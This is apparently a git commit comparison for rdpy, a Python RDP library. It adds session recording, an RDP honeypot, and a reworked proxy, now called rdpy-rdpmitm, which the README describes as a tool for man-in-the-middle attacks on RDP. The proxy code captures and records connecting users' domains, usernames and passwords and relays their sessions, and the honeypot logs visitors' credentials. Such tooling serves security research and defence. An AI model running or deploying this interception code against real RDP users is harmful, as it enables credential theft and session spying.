Compare commits
13 Commits
v1.2.0
...
revert-11-
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
58ad5782c1 | ||
|
|
b22a7d5dce | ||
|
|
8e7e6cdcb4 | ||
|
|
ff65c4b701 | ||
|
|
c5b8588e5f | ||
|
|
9dcac862ff | ||
|
|
e9fd801237 | ||
|
|
0686b2b677 | ||
|
|
9a4f5f254c | ||
|
|
522eda39e8 | ||
|
|
1b4fd4a686 | ||
|
|
33dbbf45d4 | ||
|
|
a3839e47c4 |
57
README.md
57
README.md
@@ -2,7 +2,16 @@
|
||||
|
||||
Remote Desktop Protocol in twisted PYthon.
|
||||
|
||||
RDPY is a pure Python implementation of the Microsoft RDP (Remote Desktop Protocol) protocol. RDPY is built over the event driven network engine Twisted.
|
||||
RDPY is a pure Python implementation of the Microsoft RDP (Remote Desktop Protocol) protocol (Client and Server Side). RDPY is built over the event driven network engine Twisted.
|
||||
|
||||
RDPY provide RDP and VNC binaries :
|
||||
* RDP Man In The Middle proxy which record session
|
||||
* RDP Honeypot
|
||||
* RDP screen shooter
|
||||
* RDP client
|
||||
* VNC client
|
||||
* VNC screen shooter
|
||||
* RSS Player
|
||||
|
||||
## Build
|
||||
|
||||
@@ -10,6 +19,13 @@ RDPY is fully implemented in python, except the bitmap uncompression algorithm w
|
||||
|
||||
### Depends
|
||||
|
||||
Depends are only needed for pyqt4 binaries :
|
||||
* rdpy-rdpclient
|
||||
* rdpy-rdpscreenshot
|
||||
* rdpy-vncclient
|
||||
* rdpy-vncscreenshot
|
||||
* rdpy-rssplayer
|
||||
|
||||
#### Linux
|
||||
|
||||
Exemple from Debian based system :
|
||||
@@ -45,16 +61,18 @@ $ ln -s /usr/lib/python2.7/dist-packages/sip.so $VIRTUAL_ENV/lib/python2.7/site-
|
||||
|
||||
## RDPY Binaries
|
||||
|
||||
RDPY comes with some very useful binaries; These binaries are linux and windows compatible.
|
||||
RDPY comes with some very useful binaries. These binaries are linux and windows compatible.
|
||||
|
||||
### rdpy-rdpclient
|
||||
|
||||
rdpy-rdpclient is a simple RDP Qt4 client .
|
||||
|
||||
```
|
||||
$ rdpy-rdpclient.py [-u username] [-p password] [-d domain] [...] XXX.XXX.XXX.XXX[:3389]
|
||||
$ rdpy-rdpclient.py [-u username] [-p password] [-d domain] [-r rss_ouput_file] [...] XXX.XXX.XXX.XXX[:3389]
|
||||
```
|
||||
|
||||
You can use rdpy-rdpclient as Recorder Session Scenario, used in rdpy-rdphoneypot.
|
||||
|
||||
### rdpy-vncclient
|
||||
|
||||
rdpy-vncclient is a simple VNC Qt4 client .
|
||||
@@ -79,33 +97,34 @@ rdpy-vncscreenshot save first screen update in file.
|
||||
$ rdpy-vncscreenshot.py [-p password] [-o output_file_path] XXX.XXX.XXX.XXX[:5900]
|
||||
```
|
||||
|
||||
### rdpy-rdpproxy
|
||||
### rdpy-rdpmitm
|
||||
|
||||
rdpy-rdpproxy is a RDP proxy with shadow and record function.
|
||||
rdpy-rdpmitm is a RDP proxy allows you to do a Man In The Middle attack on RDP protocol.
|
||||
Record Session Scenario into rss file which can be replay by rdpy-rssplayer.
|
||||
|
||||
```
|
||||
$ rdpy-rdpproxy.py -t target_ip[:target_port] [-k private_key_file_path] [-c certificate_file_path] [-i admin_ip[:admin_port]] listen_port
|
||||
$ rdpy-rdpmitm.py -o output_dir [-l listen_port] [-k private_key_file_path] [-c certificate_file_path] [-r (for XP or server 2003 client)] target_host[:target_port]
|
||||
```
|
||||
|
||||
The target ip and port represent the target host.
|
||||
Output directory is use to save rss file with following format (YYYYMMDDHHMMSS_ip_index.rss)
|
||||
The private key file and the certificate file are classic cryptographic files for SSL connections. The RDP protocol can negotiate its own security layer. The CredSSP security layer is planned for an upcoming release. If one of both parameters are omitted, the server use standard RDP as security layer.
|
||||
|
||||
### rdpy-rdphoneypot
|
||||
|
||||
rdpy-rdphoneypot is a RDP honey Pot. Use Recorded Session Scenario to replay scenario through RDP Protocol.
|
||||
|
||||
```
|
||||
$ rdpy-rdphoneypot.py [-l listen_port] [-k private_key_file_path] [-c certificate_file_path] rss_file_path
|
||||
```
|
||||
|
||||
The private key file and the certificate file are classic cryptographic files for SSL connections. The RDP protocol can negotiate its own security layer. The CredSSP security layer is planned for an upcoming release. If one of both parameters are omitted, the server use standard RDP as security layer.
|
||||
|
||||
The IP and port admin are used in order to shadow active sessions thanks to a RDP client (rdpy-rdpclient, remina, mstsc) set username parameter like name of session printed by proxy.
|
||||
### rdpy-rssplayer
|
||||
|
||||
Exemple :
|
||||
```
|
||||
$ rdpy-rdpproxy.py -t [my_computer] -i 0.0.0.0:56654 3389
|
||||
$ INFO : Shadow listener on 0.0.0.0:56654
|
||||
$ INFO : **************************************************
|
||||
$ INFO : Now connected
|
||||
$ INFO : ['super-administrator']
|
||||
$ INFO : **************************************************
|
||||
```
|
||||
rdpy-rssplayer is use to replay Record Session Scenario (rss) files generates by either rdpy-rdpmitm or rdpy-rdpclient binaries.
|
||||
|
||||
To shadow 'super-administrator' session :
|
||||
```
|
||||
$ rdpy-rdpclient.py -u super-administrator 127.0.0.1:56654
|
||||
$ rdpy-rssplayer.py rss_file_path
|
||||
```
|
||||
|
||||
## RDPY Qt Widget
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
@@ -27,15 +27,71 @@ from PyQt4 import QtGui, QtCore
|
||||
from rdpy.ui.qt4 import RDPClientQt
|
||||
from rdpy.protocol.rdp import rdp
|
||||
from rdpy.core.error import RDPSecurityNegoFail
|
||||
from rdpy.core import rss
|
||||
|
||||
import rdpy.core.log as log
|
||||
log._LOG_LEVEL = log.Level.INFO
|
||||
|
||||
|
||||
class RDPClientQtRecorder(RDPClientQt):
|
||||
"""
|
||||
@summary: Widget with record session
|
||||
"""
|
||||
def __init__(self, controller, width, height, rssRecorder):
|
||||
"""
|
||||
@param controller: {RDPClientController} RDP controller
|
||||
@param width: {int} width of widget
|
||||
@param height: {int} height of widget
|
||||
@param rssRecorder: {rss.FileRecorder}
|
||||
"""
|
||||
RDPClientQt.__init__(self, controller, width, height)
|
||||
self._screensize = width, height
|
||||
self._rssRecorder = rssRecorder
|
||||
|
||||
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
||||
"""
|
||||
@summary: Notify bitmap update
|
||||
@param destLeft: {int} xmin position
|
||||
@param destTop: {int} ymin position
|
||||
@param destRight: {int} xmax position because RDP can send bitmap with padding
|
||||
@param destBottom: {int} ymax position because RDP can send bitmap with padding
|
||||
@param width: {int} width of bitmap
|
||||
@param height: {int} height of bitmap
|
||||
@param bitsPerPixel: {int} number of bit per pixel
|
||||
@param isCompress: {bool} use RLE compression
|
||||
@param data: {str} bitmap data
|
||||
"""
|
||||
#record update
|
||||
self._rssRecorder.update(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, rss.UpdateFormat.BMP if isCompress else rss.UpdateFormat.RAW, data)
|
||||
RDPClientQt.onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data)
|
||||
|
||||
def onReady(self):
|
||||
"""
|
||||
@summary: Call when stack is ready
|
||||
"""
|
||||
self._rssRecorder.screen(self._screensize[0], self._screensize[1], self._controller.getColorDepth())
|
||||
RDPClientQt.onReady(self)
|
||||
|
||||
def onClose(self):
|
||||
"""
|
||||
@summary: Call when stack is close
|
||||
"""
|
||||
self._rssRecorder.close()
|
||||
RDPClientQt.onClose(self)
|
||||
|
||||
def closeEvent(self, e):
|
||||
"""
|
||||
@summary: Convert Qt close widget event into close stack event
|
||||
@param e: QCloseEvent
|
||||
"""
|
||||
self._rssRecorder.close()
|
||||
RDPClientQt.closeEvent(self, e)
|
||||
|
||||
class RDPClientQtFactory(rdp.ClientFactory):
|
||||
"""
|
||||
@summary: Factory create a RDP GUI client
|
||||
"""
|
||||
def __init__(self, width, height, username, password, domain, fullscreen, keyboardLayout, optimized, security):
|
||||
def __init__(self, width, height, username, password, domain, fullscreen, keyboardLayout, optimized, security, recodedPath):
|
||||
"""
|
||||
@param width: {integer} width of client
|
||||
@param heigth: {integer} heigth of client
|
||||
@@ -46,6 +102,7 @@ class RDPClientQtFactory(rdp.ClientFactory):
|
||||
@param keyboardLayout: {str} (fr|en) keyboard layout
|
||||
@param optimized: {bool} enable optimized session orders
|
||||
@param security: {str} (ssl | rdp | nego)
|
||||
@param recodedPath: {str | None} Rss file Path
|
||||
"""
|
||||
self._width = width
|
||||
self._height = height
|
||||
@@ -56,6 +113,7 @@ class RDPClientQtFactory(rdp.ClientFactory):
|
||||
self._keyboardLayout = keyboardLayout
|
||||
self._optimized = optimized
|
||||
self._nego = security == "nego"
|
||||
self._recodedPath = recodedPath
|
||||
if self._nego:
|
||||
self._security = "ssl"
|
||||
else:
|
||||
@@ -71,7 +129,10 @@ class RDPClientQtFactory(rdp.ClientFactory):
|
||||
@return: RDPClientQt
|
||||
"""
|
||||
#create client observer
|
||||
self._client = RDPClientQt(controller, self._width, self._height)
|
||||
if self._recodedPath is None:
|
||||
self._client = RDPClientQt(controller, self._width, self._height)
|
||||
else:
|
||||
self._client = RDPClientQtRecorder(controller, self._width, self._height, rss.createRecorder(self._recodedPath))
|
||||
#create qt widget
|
||||
self._w = self._client.getWidget()
|
||||
self._w.setWindowTitle('rdpy-rdpclient')
|
||||
@@ -146,15 +207,18 @@ def autoDetectKeyboardLayout():
|
||||
return "en"
|
||||
|
||||
def help():
|
||||
print "Usage: rdpy-rdpclient [options] ip[:port]"
|
||||
print "\t-u: user name"
|
||||
print "\t-p: password"
|
||||
print "\t-d: domain"
|
||||
print "\t-w: width of screen [default : 1024]"
|
||||
print "\t-l: height of screen [default : 800]"
|
||||
print "\t-f: enable full screen mode [default : False]"
|
||||
print "\t-k: keyboard layout [en|fr] [default : en]"
|
||||
print "\t-o: optimized session (disable costly effect) [default : False]"
|
||||
print """
|
||||
Usage: rdpy-rdpclient [options] ip[:port]"
|
||||
\t-u: user name
|
||||
\t-p: password
|
||||
\t-d: domain
|
||||
\t-w: width of screen [default : 1024]
|
||||
\t-l: height of screen [default : 800]
|
||||
\t-f: enable full screen mode [default : False]
|
||||
\t-k: keyboard layout [en|fr] [default : en]
|
||||
\t-o: optimized session (disable costly effect) [default : False]
|
||||
\t-r: rss_filepath Recorded Session Scenario [default : None]
|
||||
"""
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
@@ -166,10 +230,11 @@ if __name__ == '__main__':
|
||||
height = 800
|
||||
fullscreen = False
|
||||
optimized = False
|
||||
recodedPath = None
|
||||
keyboardLayout = autoDetectKeyboardLayout()
|
||||
|
||||
try:
|
||||
opts, args = getopt.getopt(sys.argv[1:], "hfou:p:d:w:l:k:")
|
||||
opts, args = getopt.getopt(sys.argv[1:], "hfou:p:d:w:l:k:r:")
|
||||
except getopt.GetoptError:
|
||||
help()
|
||||
for opt, arg in opts:
|
||||
@@ -192,6 +257,8 @@ if __name__ == '__main__':
|
||||
optimized = True
|
||||
elif opt == "-k":
|
||||
keyboardLayout = arg
|
||||
elif opt == "-r":
|
||||
recodedPath = arg
|
||||
|
||||
if ':' in args[0]:
|
||||
ip, port = args[0].split(':')
|
||||
@@ -212,6 +279,6 @@ if __name__ == '__main__':
|
||||
log.info("keyboard layout set to %s"%keyboardLayout)
|
||||
|
||||
from twisted.internet import reactor
|
||||
reactor.connectTCP(ip, int(port), RDPClientQtFactory(width, height, username, password, domain, fullscreen, keyboardLayout, optimized, "nego"))
|
||||
reactor.connectTCP(ip, int(port), RDPClientQtFactory(width, height, username, password, domain, fullscreen, keyboardLayout, optimized, "nego", recodedPath))
|
||||
reactor.runReturn()
|
||||
app.exec_()
|
||||
153
bin/rdpy-rdphoneypot.py
Executable file
153
bin/rdpy-rdphoneypot.py
Executable file
@@ -0,0 +1,153 @@
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
# rdpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
"""
|
||||
RDP Honey pot use Rss scenario file to simulate RDP server
|
||||
"""
|
||||
|
||||
import sys, os, getopt, time
|
||||
|
||||
from rdpy.core import log, error, rss
|
||||
from rdpy.protocol.rdp import rdp
|
||||
from twisted.internet import reactor
|
||||
|
||||
log._LOG_LEVEL = log.Level.INFO
|
||||
|
||||
class HoneyPotServer(rdp.RDPServerObserver):
|
||||
def __init__(self, controller, rssFile):
|
||||
"""
|
||||
@param controller: {RDPServerController}
|
||||
"""
|
||||
rdp.RDPServerObserver.__init__(self, controller)
|
||||
self._rssFile = rssFile
|
||||
self._dx, self._dy = 0, 0
|
||||
|
||||
def onReady(self):
|
||||
"""
|
||||
@summary: Event use to inform state of server stack
|
||||
First time this event is called is when human client is connected
|
||||
Second time is after color depth nego, because color depth nego
|
||||
restart a connection sequence
|
||||
@see: rdp.RDPServerObserver.onReady
|
||||
"""
|
||||
domain, username, password = self._controller.getCredentials()
|
||||
hostname = self._controller.getHostname()
|
||||
log.info("""Credentials:
|
||||
\tdomain : %s
|
||||
\tusername : %s
|
||||
\tpassword : %s
|
||||
\thostname : %s
|
||||
"""%(domain, username, password, hostname));
|
||||
self.start()
|
||||
|
||||
def onClose(self):
|
||||
""" HoneyPot """
|
||||
|
||||
def onKeyEventScancode(self, code, isPressed):
|
||||
""" HoneyPot """
|
||||
|
||||
def onKeyEventUnicode(self, code, isPressed):
|
||||
""" HoneyPot """
|
||||
|
||||
def onPointerEvent(self, x, y, button, isPressed):
|
||||
""" HoneyPot """
|
||||
|
||||
def start(self):
|
||||
self.loopScenario(self._rssFile.nextEvent())
|
||||
|
||||
def loopScenario(self, nextEvent):
|
||||
"""
|
||||
@summary: main loop event
|
||||
"""
|
||||
if nextEvent.type.value == rss.EventType.UPDATE:
|
||||
self._controller.sendUpdate(nextEvent.event.destLeft.value + self._dx, nextEvent.event.destTop.value + self._dy, nextEvent.event.destRight.value + self._dx, nextEvent.event.destBottom.value + self._dy, nextEvent.event.width.value, nextEvent.event.height.value, nextEvent.event.bpp.value, nextEvent.event.format.value == rss.UpdateFormat.BMP, nextEvent.event.data.value)
|
||||
|
||||
elif nextEvent.type.value == rss.EventType.CLOSE:
|
||||
self._controller.close()
|
||||
return
|
||||
|
||||
elif nextEvent.type.value == rss.EventType.SCREEN:
|
||||
self._controller.setColorDepth(nextEvent.event.colorDepth.value)
|
||||
#compute centering because we cannot resize client
|
||||
clientSize = nextEvent.event.width.value, nextEvent.event.height.value
|
||||
serverSize = self._controller.getScreen()
|
||||
|
||||
self._dx, self._dy = (serverSize[0] - clientSize[0]) / 2, (serverSize[1] - clientSize[1]) / 2
|
||||
#restart connection sequence
|
||||
return
|
||||
|
||||
e = self._rssFile.nextEvent()
|
||||
reactor.callLater(float(e.timestamp.value) / 1000.0, lambda:self.loopScenario(e))
|
||||
|
||||
class HoneyPotServerFactory(rdp.ServerFactory):
|
||||
"""
|
||||
@summary: Factory on listening events
|
||||
"""
|
||||
def __init__(self, rssFilePath, privateKeyFilePath, certificateFilePath):
|
||||
"""
|
||||
@param rssFilePath: Recorded Session Scenario File path
|
||||
@param privateKeyFilePath: {str} file contain server private key (if none -> back to standard RDP security)
|
||||
@param certificateFilePath: {str} file contain server certificate (if none -> back to standard RDP security)
|
||||
"""
|
||||
rdp.ServerFactory.__init__(self, 16, privateKeyFilePath, certificateFilePath)
|
||||
self._rssFilePath = rssFilePath
|
||||
|
||||
def buildObserver(self, controller, addr):
|
||||
"""
|
||||
@param controller: {rdp.RDPServerController}
|
||||
@param addr: destination address
|
||||
@see: rdp.ServerFactory.buildObserver
|
||||
"""
|
||||
log.info("Connection from %s:%s"%(addr.host, addr.port))
|
||||
return HoneyPotServer(controller, rss.createReader(self._rssFilePath))
|
||||
|
||||
def help():
|
||||
"""
|
||||
@summary: Print help in console
|
||||
"""
|
||||
print """
|
||||
Usage: rdpy-rdphoneypot.py rss_filepath
|
||||
[-l listen_port default 3389]
|
||||
[-k private_key_file_path (mandatory for SSL)]
|
||||
[-c certificate_file_path (mandatory for SSL)]
|
||||
"""
|
||||
|
||||
if __name__ == '__main__':
|
||||
listen = "3389"
|
||||
privateKeyFilePath = None
|
||||
certificateFilePath = None
|
||||
|
||||
try:
|
||||
opts, args = getopt.getopt(sys.argv[1:], "hl:k:c:")
|
||||
except getopt.GetoptError:
|
||||
help()
|
||||
for opt, arg in opts:
|
||||
if opt == "-h":
|
||||
help()
|
||||
sys.exit()
|
||||
elif opt == "-l":
|
||||
listen = arg
|
||||
elif opt == "-k":
|
||||
privateKeyFilePath = arg
|
||||
elif opt == "-c":
|
||||
certificateFilePath = arg
|
||||
|
||||
reactor.listenTCP(int(listen), HoneyPotServerFactory(args[0], privateKeyFilePath, certificateFilePath))
|
||||
reactor.run()
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
@@ -19,23 +19,21 @@
|
||||
#
|
||||
|
||||
"""
|
||||
RDP proxy with spy capabilities
|
||||
---------------------------
|
||||
RDP proxy with Man in the middle capabilities
|
||||
Save RDP events in output RSR file format
|
||||
RSR file format can be read by rdpy-rsrplayer.py
|
||||
----------------------------
|
||||
Client RDP -> | ProxyServer | ProxyClient | -> Server RDP
|
||||
---------------------------
|
||||
| ProxyShadow |
|
||||
--------------
|
||||
^
|
||||
Shadow -------------------|
|
||||
----------------------------
|
||||
| Record Session |
|
||||
-----------------
|
||||
"""
|
||||
|
||||
import sys, os, getopt, json
|
||||
import sys, os, getopt, time
|
||||
|
||||
from rdpy.core import log, error
|
||||
from rdpy.core import log, error, rss
|
||||
from rdpy.protocol.rdp import rdp
|
||||
from rdpy.ui import view
|
||||
from twisted.internet import reactor
|
||||
from PyQt4 import QtCore, QtGui
|
||||
|
||||
log._LOG_LEVEL = log.Level.INFO
|
||||
|
||||
@@ -43,26 +41,24 @@ class ProxyServer(rdp.RDPServerObserver):
|
||||
"""
|
||||
@summary: Server side of proxy
|
||||
"""
|
||||
_SESSIONS_ = {}
|
||||
def __init__(self, controller, target):
|
||||
def __init__(self, controller, target, clientSecurityLevel, rssRecorder):
|
||||
"""
|
||||
@param controller: {RDPServerController}
|
||||
@param target: {tuple(ip, port)}
|
||||
@param rssRecorder: {rss.FileRecorder} use to record session
|
||||
"""
|
||||
rdp.RDPServerObserver.__init__(self, controller)
|
||||
self._target = target
|
||||
self._client = None
|
||||
self._rss = rssRecorder
|
||||
self._clientSecurityLevel = clientSecurityLevel
|
||||
|
||||
def clientConnected(self, client):
|
||||
def setClient(self, client):
|
||||
"""
|
||||
@summary: Event throw by client when it's ready
|
||||
@param client: {ProxyClient}
|
||||
"""
|
||||
self._client = client
|
||||
#need to reevaluate color depth
|
||||
self._controller.setColorDepth(self._client._controller.getColorDepth())
|
||||
ProxyServer._SESSIONS_[self._controller.getHostname()] = client
|
||||
nowConnected()
|
||||
|
||||
def onReady(self):
|
||||
"""
|
||||
@@ -75,34 +71,32 @@ class ProxyServer(rdp.RDPServerObserver):
|
||||
if self._client is None:
|
||||
#try a connection
|
||||
domain, username, password = self._controller.getCredentials()
|
||||
log.info("Credentials dump : connection from %s with %s\\%s [%s]"%(self._controller.getHostname(), domain, username, password))
|
||||
self._rss.credentials(username, password, domain, self._controller.getHostname())
|
||||
|
||||
width, height = self._controller.getScreen()
|
||||
self._rss.screen(width, height, self._controller.getColorDepth())
|
||||
|
||||
reactor.connectTCP(self._target[0], int(self._target[1]), ProxyClientFactory(self, width, height,
|
||||
domain, username, password))
|
||||
else:
|
||||
#refresh client
|
||||
width, height = self._controller.getScreen()
|
||||
self._client._controller.sendRefreshOrder(0, 0, width, height)
|
||||
domain, username, password,self._clientSecurityLevel))
|
||||
|
||||
def onClose(self):
|
||||
"""
|
||||
@summary: Call when human client close connection
|
||||
@see: rdp.RDPServerObserver.onClose
|
||||
"""
|
||||
#end scenario
|
||||
self._rss.close()
|
||||
|
||||
#close network stack
|
||||
if self._client is None:
|
||||
return
|
||||
|
||||
del ProxyServer._SESSIONS_[self._controller.getHostname()]
|
||||
nowConnected()
|
||||
#close proxy client
|
||||
self._client._controller.close()
|
||||
|
||||
def onKeyEventScancode(self, code, isPressed):
|
||||
"""
|
||||
@summary: Event call when a keyboard event is catch in scan code format
|
||||
@param code: scan code of key
|
||||
@param isPressed: True if key is down
|
||||
@param code: {int} scan code of key
|
||||
@param isPressed: {bool} True if key is down
|
||||
@see: rdp.RDPServerObserver.onKeyEventScancode
|
||||
"""
|
||||
if self._client is None:
|
||||
@@ -123,10 +117,10 @@ class ProxyServer(rdp.RDPServerObserver):
|
||||
def onPointerEvent(self, x, y, button, isPressed):
|
||||
"""
|
||||
@summary: Event call on mouse event
|
||||
@param x: x position
|
||||
@param y: y position
|
||||
@param button: 1, 2 or 3 button
|
||||
@param isPressed: True if mouse button is pressed
|
||||
@param x: {int} x position
|
||||
@param y: {int} y position
|
||||
@param button: {int} 1, 2 or 3 button
|
||||
@param isPressed: {bool} True if mouse button is pressed
|
||||
@see: rdp.RDPServerObserver.onPointerEvent
|
||||
"""
|
||||
if self._client is None:
|
||||
@@ -137,22 +131,28 @@ class ProxyServerFactory(rdp.ServerFactory):
|
||||
"""
|
||||
@summary: Factory on listening events
|
||||
"""
|
||||
def __init__(self, target, privateKeyFilePath = None, certificateFilePath = None):
|
||||
def __init__(self, target, ouputDir, privateKeyFilePath, certificateFilePath, clientSecurity):
|
||||
"""
|
||||
@param target: {tuple(ip, prt)}
|
||||
@param privateKeyFilePath: {str} file contain server private key (if none -> back to standard RDP security)
|
||||
@param certificateFilePath: {str} file contain server certificate (if none -> back to standard RDP security)
|
||||
@param clientSecurity: {str(ssl|rdp)} security layer use in client connection side
|
||||
"""
|
||||
rdp.ServerFactory.__init__(self, 16, privateKeyFilePath, certificateFilePath)
|
||||
self._target = target
|
||||
self._ouputDir = ouputDir
|
||||
self._clientSecurity = clientSecurity
|
||||
#use produce unique file by connection
|
||||
self._uniqueId = 0
|
||||
|
||||
def buildObserver(self, controller, addr):
|
||||
"""
|
||||
@param controller: rdp.RDPServerController
|
||||
@param controller: {rdp.RDPServerController}
|
||||
@param addr: destination address
|
||||
@see: rdp.ServerFactory.buildObserver
|
||||
"""
|
||||
return ProxyServer(controller, self._target)
|
||||
self._uniqueId += 1
|
||||
return ProxyServer(controller, self._target, self._clientSecurity, rss.createRecorder(os.path.join(self._ouputDir, "%s_%s_%s.rss"%(time.strftime('%Y%m%d%H%M%S'), addr.host, self._uniqueId))))
|
||||
|
||||
class ProxyClient(rdp.RDPClientObserver):
|
||||
"""
|
||||
@@ -160,12 +160,11 @@ class ProxyClient(rdp.RDPClientObserver):
|
||||
"""
|
||||
def __init__(self, controller, server):
|
||||
"""
|
||||
@param controller: rdp.RDPClientController
|
||||
@param server: ProxyServer
|
||||
@param controller: {rdp.RDPClientController}
|
||||
@param server: {ProxyServer}
|
||||
"""
|
||||
rdp.RDPClientObserver.__init__(self, controller)
|
||||
self._server = server
|
||||
self._connected = False
|
||||
|
||||
def onReady(self):
|
||||
"""
|
||||
@@ -173,50 +172,49 @@ class ProxyClient(rdp.RDPClientObserver):
|
||||
Inform ProxyServer that i'm connected
|
||||
@see: rdp.RDPClientObserver.onReady
|
||||
"""
|
||||
#prevent multiple on ready event
|
||||
#because each deactive-reactive sequence
|
||||
#launch an onReady message
|
||||
if self._connected:
|
||||
return
|
||||
else:
|
||||
self._connected = True
|
||||
|
||||
self._server.clientConnected(self)
|
||||
self._server.setClient(self)
|
||||
#maybe color depth change
|
||||
self._server._controller.setColorDepth(self._controller.getColorDepth())
|
||||
|
||||
def onClose(self):
|
||||
"""
|
||||
@summary: Event inform that stack is close
|
||||
@see: rdp.RDPClientObserver.onClose
|
||||
"""
|
||||
#end scenario
|
||||
self._server._rss.close()
|
||||
self._server._controller.close()
|
||||
|
||||
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
||||
"""
|
||||
@summary: Event use to inform bitmap update
|
||||
@param destLeft: xmin position
|
||||
@param destTop: ymin position
|
||||
@param destRight: xmax position because RDP can send bitmap with padding
|
||||
@param destBottom: ymax position because RDP can send bitmap with padding
|
||||
@param width: width of bitmap
|
||||
@param height: height of bitmap
|
||||
@param bitsPerPixel: number of bit per pixel
|
||||
@param isCompress: use RLE compression
|
||||
@param data: bitmap data
|
||||
@param destLeft: {int} xmin position
|
||||
@param destTop: {int} ymin position
|
||||
@param destRight: {int} xmax position because RDP can send bitmap with padding
|
||||
@param destBottom: {int} ymax position because RDP can send bitmap with padding
|
||||
@param width: {int} width of bitmap
|
||||
@param height: {int} height of bitmap
|
||||
@param bitsPerPixel: {int} number of bit per pixel
|
||||
@param isCompress: {bool} use RLE compression
|
||||
@param data: {str} bitmap data
|
||||
@see: rdp.RDPClientObserver.onUpdate
|
||||
"""
|
||||
self._server._rss.update(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, rss.UpdateFormat.BMP if isCompress else rss.UpdateFormat.RAW, data)
|
||||
self._server._controller.sendUpdate(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data)
|
||||
|
||||
class ProxyClientFactory(rdp.ClientFactory):
|
||||
"""
|
||||
@summary: Factory for proxy client
|
||||
"""
|
||||
def __init__(self, server, width, height, domain, username, password):
|
||||
def __init__(self, server, width, height, domain, username, password, security):
|
||||
"""
|
||||
@param server: ProxyServer
|
||||
@param width: screen width
|
||||
@param height: screen height
|
||||
@param domain: domain session
|
||||
@param username: username session
|
||||
@param password: password session
|
||||
@param server: {ProxyServer}
|
||||
@param width: {int} screen width
|
||||
@param height: {int} screen height
|
||||
@param domain: {str} domain session
|
||||
@param username: {str} username session
|
||||
@param password: {str} password session
|
||||
@param security: {str(ssl|rdp)} security level
|
||||
"""
|
||||
self._server = server
|
||||
self._width = width
|
||||
@@ -224,7 +222,7 @@ class ProxyClientFactory(rdp.ClientFactory):
|
||||
self._domain = domain
|
||||
self._username = username
|
||||
self._password = password
|
||||
self._security = "ssl"
|
||||
self._security = security
|
||||
|
||||
def buildObserver(self, controller, addr):
|
||||
"""
|
||||
@@ -241,142 +239,57 @@ class ProxyClientFactory(rdp.ClientFactory):
|
||||
controller.setUsername(self._username)
|
||||
controller.setPassword(self._password)
|
||||
controller.setSecurityLevel(self._security)
|
||||
controller.setPerformanceSession()
|
||||
return ProxyClient(controller, self._server)
|
||||
|
||||
def clientConnectionLost(self, connector, reason):
|
||||
"""
|
||||
@summary: Connection lost event
|
||||
@param connector: twisted connector use for rdp connection (use reconnect to restart connection)
|
||||
@param reason: str use to advertise reason of lost connection
|
||||
"""
|
||||
#try reconnect with basic RDP security
|
||||
if reason.type == error.RDPSecurityNegoFail:
|
||||
#stop nego
|
||||
log.info("due to security nego error back to standard RDP security layer")
|
||||
self._security = "rdp"
|
||||
connector.connect()
|
||||
return
|
||||
|
||||
class Shadow(rdp.RDPServerObserver):
|
||||
"""
|
||||
@summary: Use to manage admin session
|
||||
"""
|
||||
def __init__(self, controller):
|
||||
"""
|
||||
@param server: rdp.RDPServerController
|
||||
"""
|
||||
rdp.RDPServerObserver.__init__(self, controller)
|
||||
self._client = None
|
||||
|
||||
def onReady(self):
|
||||
"""
|
||||
@summary: Stack is ready and connected
|
||||
May be called after an setColorDepth too
|
||||
@see: rdp.RDPServerObserver.onReady
|
||||
"""
|
||||
if self._client is None:
|
||||
username = self._controller.getUsername()
|
||||
if not ProxyServer._SESSIONS_.has_key(username):
|
||||
log.info("invalid session name [%s]"%username)
|
||||
self._controller.close()
|
||||
return
|
||||
|
||||
self._client = ProxyClient(ProxyServer._SESSIONS_[username]._controller, self)
|
||||
self._controller.setColorDepth(self._client._controller.getColorDepth())
|
||||
else:
|
||||
#refresh client
|
||||
width, height = self._controller.getScreen()
|
||||
self._client._controller.sendRefreshOrder(0, 0, width, height)
|
||||
|
||||
def onClose(self):
|
||||
"""
|
||||
@summary: Stack is close
|
||||
@see: rdp.RDPServerObserver.onClose
|
||||
"""
|
||||
|
||||
def onKeyEventScancode(self, code, isPressed):
|
||||
""" Shadow
|
||||
"""
|
||||
|
||||
def onKeyEventUnicode(self, code, isPressed):
|
||||
""" Shadow
|
||||
"""
|
||||
|
||||
def onPointerEvent(self, x, y, button, isPressed):
|
||||
""" Shadow
|
||||
"""
|
||||
|
||||
class ShadowFactory(rdp.ServerFactory):
|
||||
"""
|
||||
@summary: Factory for admin session
|
||||
"""
|
||||
def __init__(self, privateKeyFilePath, certificateFilePath):
|
||||
"""
|
||||
@param privateKeyFilePath: private key for admin session
|
||||
@param certificateFilePath: certificate for admin session
|
||||
"""
|
||||
rdp.ServerFactory.__init__(self, 16, privateKeyFilePath, certificateFilePath)
|
||||
|
||||
